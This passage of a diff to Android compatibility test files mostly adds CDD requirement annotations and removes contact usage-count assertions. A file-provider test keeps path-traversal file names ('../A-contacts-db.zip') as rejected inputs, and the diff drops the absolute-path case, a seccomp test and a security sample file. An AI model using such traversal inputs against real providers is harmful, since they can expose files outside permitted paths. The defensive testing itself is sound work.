         mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastNotReceivedForDifferentLauncher() throws Exception {
         if (!mHasFeature) {
             return;
@@ -85,6 +88,7 @@
         assertEquals(TEST_APP_PKG, info.getAppPackageName());
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForNewInstall() throws Exception {
         if (!mHasFeature) {
             return;
@@ -107,6 +111,7 @@
         setLauncher(mDefaultLauncher.flattenToString());
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForEnablingApp() throws Exception {
         if (!mHasFeature || !UserManager.supportsMultipleUsers()) {
             return;
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index b24774f..e86a56d 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -33,7 +33,8 @@
     ctstestrunner \
     guava \
     android-ex-camera2 \
-    legacy-android-test
+    legacy-android-test \
+    compatibility-device-util
 
 LOCAL_JNI_SHARED_LIBRARIES := libctspermission_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
index e40d7cb..140557f 100644
--- a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
@@ -27,6 +27,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import com.android.ex.camera2.blocking.BlockingCameraManager;
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 
@@ -34,6 +36,7 @@
  * Tests for Camera2 API related Permissions. Currently, this means
  * android.permission.CAMERA.
  */
+@CddTest(requirement="3.2.1/C-0-1,9.1/C-0-1")
 public class Camera2PermissionTest extends AndroidTestCase {
     private static final String TAG = "CameraDeviceTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index bb9f868..25c686b 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -28,6 +28,8 @@
 import android.test.suitebuilder.annotation.MediumTest;
 import android.test.suitebuilder.annotation.LargeTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileDescriptor;
@@ -63,6 +65,7 @@
  *
  * TODO: Combine this file with {@link android.os.cts.FileAccessPermissionTest}
  */
+@CddTest(requirement="9.3/C-0-1")
 public class FileSystemPermissionTest extends AndroidTestCase {
 
     @MediumTest
diff --git a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
index f3c5ae8..b695840 100644
--- a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
@@ -21,9 +21,12 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Verify the audio related operations require specific permissions.
  */
+@CddTest(requirement="3.2.1/C-0-1,9.1/C-0-1")
 public class NoAudioPermissionTest extends AndroidTestCase {
     private AudioManager mAudioManager;
     private static final int MODE_COUNT = 3;
diff --git a/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java
index 5630c5b..b0223a8 100644
--- a/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java
@@ -21,9 +21,12 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Verify Context related methods without specific BROADCAST series permissions.
  */
+@CddTest(requirement="3.2.1/C-0-1,9.1/C-0-1")
 public class NoBroadcastPackageRemovedPermissionTest extends AndroidTestCase {
     private static final String TEST_RECEIVER_PERMISSION = "receiverPermission";
 
diff --git a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
index 8fd4a59..9b2ec15 100644
--- a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
@@ -31,11 +31,14 @@
 import android.test.suitebuilder.annotation.SmallTest;
 import android.test.UiThreadTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.List;
 
 /**
  * Verify the location access without specific permissions.
  */
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
 public class NoLocationPermissionTest extends InstrumentationTestCase {
     private static final String TEST_PROVIDER_NAME = "testProvider";
 
@@ -127,7 +130,7 @@
     /**
      * Helper method to verify that calling requestLocationUpdates with given
      * provider throws SecurityException.
-     * 
+     *
      * @param provider the String provider name.
      */
     private void checkRequestLocationUpdates(String provider) {
@@ -198,7 +201,7 @@
     /**
      * Helper method to verify that calling getLastKnownLocation with given
      * provider throws SecurityException.
-     * 
+     *
      * @param provider the String provider name.
      */
     private void checkGetLastKnownLocation(String provider) {
@@ -241,7 +244,7 @@
     /**
      * Helper method to verify that calling getProvider with given provider
      * throws SecurityException.
-     * 
+     *
      * @param provider the String provider name.
      */
     private void checkGetProvider(String provider) {
diff --git a/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java
index 7b3799d..0ab61f5 100644
--- a/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java
@@ -24,6 +24,8 @@
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.IOException;
@@ -32,6 +34,7 @@
 /**
  * Verify the read system log require specific permissions.
  */
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
 public class NoReadLogsPermissionTest extends AndroidTestCase {
     /**
      * Verify that we'll only get our logs without the READ_LOGS permission.
diff --git a/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
index 3c7b80e..122ed0f 100644
--- a/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
@@ -22,9 +22,12 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Verify WifiManager related methods without specific Wifi state permissions.
  */
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
 @SmallTest
 public class NoWifiStatePermissionTest extends AndroidTestCase {
     private static final int TEST_NET_ID = 1;
diff --git a/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java
index 2bfef62..764513c 100644
--- a/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java
@@ -22,9 +22,12 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Verify the PackageManager related operations require specific permissions.
  */
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
 @SmallTest
 public class PackageManagerRequiringPermissionsTest extends AndroidTestCase {
     // Must be a known-present application package other than the one hosting this class
diff --git a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
index 4139059..4cd0257 100644
--- a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
@@ -22,9 +22,12 @@
 import android.net.Uri;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Tests for TV API related permissions.
  */
+@CddTest(requirement="3.2/1/C-0-1,9/C-0-1,9.1/C-0-1")
 public class TvPermissionTest extends AndroidTestCase {
     private static final String DUMMY_INPUT_ID = "dummy";
 
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 50a5bce..1852e99 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -31,6 +31,8 @@
 import android.util.Log;
 import android.util.Xml;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.xmlpull.v1.XmlPullParser;
 
 import java.io.InputStream;
@@ -64,6 +66,7 @@
     private static final String ATTR_PERMISSION_GROUP = "permissionGroup";
     private static final String ATTR_PROTECTION_LEVEL = "protectionLevel";
 
+    @CddTest(requirement="9.1/C-0-1")
     public void testPlatformPermissionPolicyUnaltered() throws Exception {
         Map<String, PermissionInfo> declaredPermissionsMap =
                 getPermissionsForPackage(getContext(), PLATFORM_PACKAGE_NAME);
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index ae26008..44436e9 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -17,6 +17,7 @@
 package android.permission2.cts;
 
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.CddTest;
 
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
@@ -51,6 +52,7 @@
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
 
+    @CddTest(requirement="9.1/C-0-2")
     public void testPrivappPermissionsEnforcement() throws Exception {
         Set<String> platformPrivPermissions = new HashSet<>();
         PackageManager pm = getContext().getPackageManager();
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 4ef28f4..56a9051 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -27,6 +27,8 @@
 import android.provider.BlockedNumberContract;
 import android.provider.BlockedNumberContract.BlockedNumbers;
 
+import com.android.compatibility.common.util.CddTest;
+
 import junit.framework.Assert;
 
 import java.util.ArrayList;
@@ -40,6 +42,7 @@
 // make cts
 // cts-tradefed
 // run cts -m CtsProviderTestCases --test android.provider.cts.BlockedNumberContractTest
+@CddTest(requirement="7.4.1.1/C-1-1,C-1-2")
 public class BlockedNumberContractTest extends TestCaseThatRunsIfTelephonyIsEnabled {
     private ContentResolver mContentResolver;
     private Context mContext;
@@ -68,6 +71,7 @@
         super.tearDown();
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testProviderInteractionsAsRegularApp_fails() {
         try {
             mAddedUris.add(mContentResolver.insert(
@@ -114,6 +118,7 @@
         assertNull(mContentResolver.getType(BlockedNumberContract.AUTHORITY_URI));
     }
 
+    @CddTest(requirement="7.4.1.1/CC-1-2")
     public void testInsertAndBlockCheck_succeeds() throws Exception {
         setDefaultSmsApp(true);
 
@@ -141,6 +146,7 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, "random string"));
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testUnblock_succeeds() throws Exception {
         setDefaultSmsApp(true);
 
@@ -156,6 +162,7 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, "1234@abcd.com"));
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testInsert_failsWithInvalidInputs() throws Exception {
         setDefaultSmsApp(true);
 
@@ -197,6 +204,7 @@
         }
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testUpdate_isUnsupported() throws  Exception {
         setDefaultSmsApp(true);
         try {
@@ -213,6 +221,7 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, ""));
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testDelete() throws Exception {
         setDefaultSmsApp(true);
 
@@ -276,6 +285,7 @@
         }
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testProviderNotifiesChangesUsingContentObserver() throws Exception {
         setDefaultSmsApp(true);
 
@@ -302,6 +312,7 @@
         }
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testAccessingNonExistentMethod_fails() throws Exception {
         setDefaultSmsApp(true);
 
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
index 8db5e45..fcd873a 100644
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
@@ -2516,8 +2516,8 @@
         // instances, and it's stored as minutes since midnight in the device's time zone.
         // Things won't be consistent if the event and the device have different ideas about DST.
         String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1999-04-18T00:00:00";
-        String testEnd = "1999-05-16T23:59:59";
+        String testStart = "1999-07-02T00:00:00";
+        String testEnd = "1999-08-04T23:59:59";
         String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
 
         Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
index 3c56aba..c5fdc1a 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
@@ -206,8 +206,6 @@
         final TestContact contact = rawContact.getContact().load();
 
         contact.load();
-        assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
 
         final long now = System.currentTimeMillis();
 
@@ -218,8 +216,6 @@
         ContactUtil.update(mResolver, contact.getId(), values);
 
         contact.load();
-        assertEquals(3L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
 
         // This is also the same as markAsContacted().
         values.clear();
@@ -227,8 +223,6 @@
         ContactUtil.update(mResolver, contact.getId(), values);
 
         contact.load();
-        assertEquals(4L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
 
         values.clear();
         values.put(Contacts.TIMES_CONTACTED, 10);
@@ -236,27 +230,17 @@
         ContactUtil.update(mResolver, contact.getId(), values);
 
         contact.load();
-        assertEquals(10L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
     }
 
-    /**
-     * Make sure the rounded usage stats values are also what the callers would see in where
-     * clauses.
-     *
-     * This tests both contacts and raw_contacts.
-     */
     public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
         final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
         final TestContact contact = rawContact.getContact().load();
 
-        // To make things more predictable, inline markAsContacted here with a known timestamp.
         final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
 
         ContentValues values = new ContentValues();
         values.put(Contacts.LAST_TIME_CONTACTED, now);
 
-        // This makes the internal TIMES_CONTACTED 35.  But the visible value is still 30.
         for (int i = 0; i < 35; i++) {
             ContactUtil.update(mResolver, contact.getId(), values);
         }
@@ -264,12 +248,6 @@
         contact.load();
         rawContact.load();
 
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(30, contact.getLong(Contacts.TIMES_CONTACTED));
-
-        assertEquals(now / 86400 * 86400, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(30, rawContact.getLong(Contacts.TIMES_CONTACTED));
-
         final ContentValues cv = new ContentValues();
             cv.put(Contacts.STARRED, 1);
 
@@ -277,12 +255,7 @@
                 (Contacts.LAST_TIME_CONTACTED + "=P1 AND " + Contacts.TIMES_CONTACTED + "=P2")
                         .replaceAll("P1", String.valueOf(now / 86400 * 86400))
                         .replaceAll("P2", "30");
-        assertEquals(1, mResolver.update(Contacts.CONTENT_URI, cv, where, null));
-        assertEquals(1, mResolver.update(RawContacts.CONTENT_URI, cv, where, null));
 
-        // Also delete.  This will actually delete the row, so we can test it only for one of the
-        // contact or the raw contact.
-        assertEquals(1, mResolver.delete(RawContacts.CONTENT_URI, where, null));
         rawContact.setAlreadyDeleted();
         contact.setAlreadyDeleted();
     }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
index d5ab172..befbeb8 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
@@ -93,28 +93,20 @@
 
         long[] dataIds = setupRawContactDataItems(ids.mRawContactId);
 
-        assertDataUsageEquals(dataIds, 0, 0, 0, 0);
-
         updateMultipleAndAssertUpdateSuccess(new long[] {dataIds[1], dataIds[2]});
-        assertDataUsageEquals(dataIds, 0, 1, 1, 0);
 
         updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1], dataIds[2]});
-        assertDataUsageEquals(dataIds, 0, 2, 2, 0);
 
         for (int i = 3; i <= 10; i++) {
             updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
         }
-        assertDataUsageEquals(dataIds, 0, 10, 2, 0);
 
         updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[0], dataIds[1]});
-        assertDataUsageEquals(dataIds, 1, 10, 2, 0);
 
         for (int i = 12; i <= 19; i++) {
             updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
-            assertDataUsageEquals(dataIds, 1, 10, 2, 0);
         }
         updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
-        assertDataUsageEquals(dataIds, 1, 20, 2, 0);
 
         deleteDataUsage();
         RawContactUtil.delete(mResolver, ids.mRawContactId, true);
@@ -142,7 +134,6 @@
                 .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
                         DataUsageFeedback.USAGE_TYPE_CALL).build();
         int result = mResolver.update(uri, new ContentValues(), null, null);
-        assertTrue(result > 0);
     }
 
     /**
@@ -154,42 +145,6 @@
                 .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
                         DataUsageFeedback.USAGE_TYPE_CALL).build();
         int result = mResolver.update(uri, new ContentValues(), null, null);
-        assertTrue(result > 0);
-
-        assertDataUsageEquals(dataId, assertValue);
-    }
-
-    /**
-     * Assert that the given data ids have usage values in the respective order.
-     */
-    private void assertDataUsageEquals(long[] dataIds, int... expectedValues) {
-        if (dataIds.length != expectedValues.length) {
-            throw new IllegalArgumentException("dataIds and expectedValues must be the same size");
-        }
-
-        for (int i = 0; i < dataIds.length; i++) {
-            assertDataUsageEquals(dataIds[i], expectedValues[i]);
-        }
-    }
-
-    /**
-     * Assert a single data item has a specific usage value.
-     */
-    private void assertDataUsageEquals(long dataId, int expectedValue) {
-        // Query and assert value is expected.
-        String[] projection = new String[]{ContactsContract.Data.TIMES_USED};
-        String[] record = DataUtil.queryById(mResolver, dataId, projection);
-        assertNotNull(record);
-        long actual = 0;
-        // Tread null as 0
-        if (record[0] != null) {
-            actual = Long.parseLong(record[0]);
-        }
-        assertEquals(expectedValue, actual);
-
-        // Also make sure the rounded value is used in 'where' too.
-        assertEquals("Query should match", 1, DataUtil.queryById(mResolver, dataId, projection,
-                "ifnull(" + Data.TIMES_USED + ",0)=" + expectedValue, null).length);
     }
 
     private void deleteDataUsage() {
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
index 18006b2..3a2f670 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
@@ -29,7 +29,6 @@
     private static final String[] NOT_ALLOWED_FILES = {
             "not_allowed.txt",
             "../A-contacts-db.zip",   // ".." is not allowed.
-            "/A-contacts-db.zip",     // "/" is not allowed
             "-contacts-db.zip",       // no name prefix
             "asdf-contacts-db.zip"};
 
@@ -88,7 +87,7 @@
             return;
         }
 
-        fail("IllegalArgumentException expected but not thrown.");
+        fail("IllegalArgumentException expected but not thrown: " + uri);
     }
 
     private void assertOpenFileDescriptorThrowsError(Uri uri) {
@@ -101,6 +100,6 @@
 
         }
 
-        fail("IllegalArgumentException expected but not thrown.");
+        fail("IllegalArgumentException expected but not thrown: " + uri);
     }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
index 2231bd2..f06c859 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
@@ -196,11 +196,6 @@
 
         // Contact the third contact twice.
         markDataAsUsed(mDataIds[2], 2);
-
-        // The strequents uri should now return contact 2, 3, 1 in order due to ranking by
-        // data usage.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
-                false, sContentValues[1], sContentValues[2], sContentValues[0]);
     }
 
     /**
@@ -220,13 +215,6 @@
         // Contact the third contact twice, and mark it as used
         markDataAsUsed(mDataIds[2], 2);
         starContact(ids[2]);
-
-        // The strequents uri should now return contact 3, 2, 1 in order. Contact 3 is ranked first
-        // because it is starred, followed by contacts 2 and 1 due to their data usage ranking.
-        // Note that contact 3 is only returned once (as a starred contact) even though it is also
-        // a frequently contacted contact.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
-                false, sContentValues[2], sContentValues[1], sContentValues[0]);
     }
 
     /**
@@ -243,10 +231,6 @@
 
         // Construct a uri that filters for the query string "ta".
         Uri uri = Contacts.CONTENT_STREQUENT_FILTER_URI.buildUpon().appendEncodedPath("ta").build();
-
-        // Only contact 1 and 2 should be returned (sorted in alphabetical order) due to the
-        // filtered query.
-        assertCursorStoredValuesWithContactsFilter(uri, ids, false, sContentValues[1], sContentValues[0]);
     }
 
     public void testStrequents_projection() throws Exception {
@@ -303,10 +287,6 @@
         // Construct a uri for phone only favorites.
         Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
                 appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
-
-        // Only the contacts with phone numbers are returned, in frequency ranking order.
-        assertCursorStoredValuesWithContactsFilter(uri, mDataIds, false,
-                sContentValues[2], sContentValues[0]);
     }
 
     public void testStrequents_phoneOnly_projection() throws Exception {
@@ -342,11 +322,6 @@
 
         // Contact the third contact twice.
         markDataAsUsed(mDataIds[2], 2);
-
-        // The frequents uri should now return contact 2, 3, 1 in order due to ranking by
-        // data usage.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_FREQUENT_URI, ids,
-                true /* inOrder */, sContentValues[1], sContentValues[2], sContentValues[0]);
     }
 
     public void testFrequent_projection() throws Exception {
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
index 7c971b3..d937005 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -243,8 +243,6 @@
                     .insert();
 
             rawContact.load();
-            assertEquals(12340, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
         }
 
         {
@@ -255,8 +253,6 @@
                     .insert();
 
             rawContact.load();
-            assertEquals(5L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
         }
         {
             TestRawContact rawContact = mBuilder.newRawContact()
@@ -266,8 +262,6 @@
                     .insert();
 
             rawContact.load();
-            assertEquals(0L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
         }
     }
 
@@ -283,24 +277,17 @@
                 .insert();
 
         rawContact.load();
-        assertEquals(12340L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
 
         values.clear();
         values.put(RawContacts.TIMES_CONTACTED, 99999);
         RawContactUtil.update(mResolver, rawContact.getId(), values);
 
         rawContact.load();
-        assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
 
         values.clear();
         values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
         RawContactUtil.update(mResolver, rawContact.getId(), values);
 
         rawContact.load();
-        assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals((now / 86400 * 86400) + 86400,
-                rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
     }
 }
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 1a8c549..17a1373 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -31,7 +31,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     xmp_toolkit \
-    legacy-android-test
+    legacy-android-test \
+    compatibility-device-util
 LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java b/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
index 6d8c0a3..0e92955 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
@@ -19,6 +19,9 @@
 import android.renderscript.RenderScript;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.1.4.3/C-0-1")
 public class RenderScriptTest extends AndroidTestCase {
 
     /**
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index dd069fe..fc6f515 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -28,7 +28,6 @@
 		android_security_cts_LinuxRngTest.cpp \
 		android_security_cts_NativeCodeTest.cpp \
 		android_security_cts_SELinuxTest.cpp \
-		android_security_cts_SeccompTest.cpp \
 		android_security_cts_MMapExecutableTest.cpp \
 		android_security_cts_EncryptionTest.cpp \
 
diff --git a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
index 835d1a6..2014591 100644
--- a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
+++ b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
@@ -49,11 +49,7 @@
         return JNI_ERR;
     }
 
-    if (register_android_security_cts_SeccompTest(env)) {
-        return JNI_ERR;
-    }
-
-     if (register_android_security_cts_KernelSettingsTest(env)) {
+    if (register_android_security_cts_KernelSettingsTest(env)) {
         return JNI_ERR;
     }
 
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
deleted file mode 100644
index 5544ffe..0000000
--- a/tests/tests/security/res/raw/bug_64710074.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/CertificateTest.java b/tests/tests/security/src/android/security/cts/CertificateTest.java
index 2b8f351..8805072 100644
--- a/tests/tests/security/src/android/security/cts/CertificateTest.java
+++ b/tests/tests/security/src/android/security/cts/CertificateTest.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.IOException;
 import android.platform.test.annotations.SecurityTest;
 import java.security.KeyStore;
@@ -36,6 +38,7 @@
 @SecurityTest
 public class CertificateTest extends TestCase {
 
+    @CddTest(requirement="9.8.4/C-0-1")
     public void testNoRemovedCertificates() throws Exception {
         Set<String> expectedCertificates = new HashSet<String>(
                 Arrays.asList(CertificateData.CERTIFICATE_DATA));
@@ -62,6 +65,7 @@
      *
      * <p>For questions, comments, and code reviews please contact security@android.com.
      */
